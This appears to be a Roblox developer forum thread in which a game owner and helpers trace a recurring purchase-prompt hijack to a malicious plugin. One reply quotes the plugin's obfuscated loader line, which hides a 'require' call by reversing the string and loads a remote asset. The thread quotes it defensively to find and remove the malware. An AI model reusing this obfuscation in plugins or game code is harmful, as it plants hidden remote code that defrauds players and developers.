Fix for a mysterious prompt purchase EXPLOIT in my game

Now this is popping up for my players in the main menu.

1 Like

I just hopped into the game now, and its fine… But in the second game, the prompt purchase still appears. idk what happened or how to prevent this in the future

OMG NOW ITS BACKKKKKKK!!! What is happening :sob:

This now might be a question roblox has to answer, I am not sure and I am pretty sure now others are confused of what is happening to your game, another thing too is roblox uses javascript and it is not a very secure programming language

I messaged a roblox staff member. If there is a number i can call i will call it.

I’m not sure what else I can suggest, you just have to continue looking through your game to see if you can identify the rogue script.

To help with this, you can set all hidden services to become visible in your explorer. Go into the settings menu under the Studio tab and set this option to true:
52
You could also try a play solo session or start a test server to see if you can narrow down the issue.

Well I hope you receive good news, like I said it is probably just some annoying hacker doing it for fun or something

image

What is this?

That doesn’t look like something natural. See if you can find a script in there that’s causing this.

There are endless values within values

Try deleting both of those things since it will get rid of all of their children including the scripts if there are any located in there.

I remember reading somewhere that the NonReplicatedCSGDictionaryService is commonly used for malicious script injection but I’m not sure why it’s used for that, or how they get there without a) anyone having team create access or b) having any malicious plugins.

I would private message a Roblox admin about this and delete the 2 folders in the NonReplicatedCSGDictionaryService since this post is just going around in circles.

1 Like

I deleted them and nothing happened. I did message a roblox staff member. I’m hoping they respond
Also any recomended staff members i should message?
Is there a number i can call?

You’re just going to have to wait for them to get back to you. I wouldn’t recommend going after any other staff members. I don’t believe Roblox has a number to call in general.

is this happening for real i hate to break it to you it must have been something on your end because of Filtering enabled - basically changes on the client do not replicate so if the hacker where to do this on his computer it would only affect him or her. So it must either be a plugin, team create, a model or some other malicious entity in studio that exists.

I cannot give the best response right now, so I do apologize for that. I read everyone’s replies and it might be a plugin inserting the malware. What I would do to test that theory is create a new game and see if that appears on the other games too. If not, then it means that it does not have to do with any plugins. Contacting Roblox Staff was a good idea, and I hope they can resolve the problem.

this is the asset id of the shirt: 3750950779 and i cant find the asset id in any of the scripts in the game :confused: But ill try your idea

You know what guys. You are right. It must be in my end. Though i don’t know what plugins or whatever are doing it.

I tried joining another game of mine and the same thing happened so its a plugin.

Or… something.

I found it! The malicious plugin is this one:
https://www.roblox.com/library/3620029023/HD-Graphics-Fixed
I missed it earlier :confused:, I apologize for my mistake. This line is causing you issues:

getfenv()[string.reverse'eriuqer'](3610223581+2-1+1)

Uninstall this and then delete those items again.

Edit: Looking into it more, it looks like its requiring this: https://www.roblox.com/library/3610223583/Admin-Commands.

6 Likes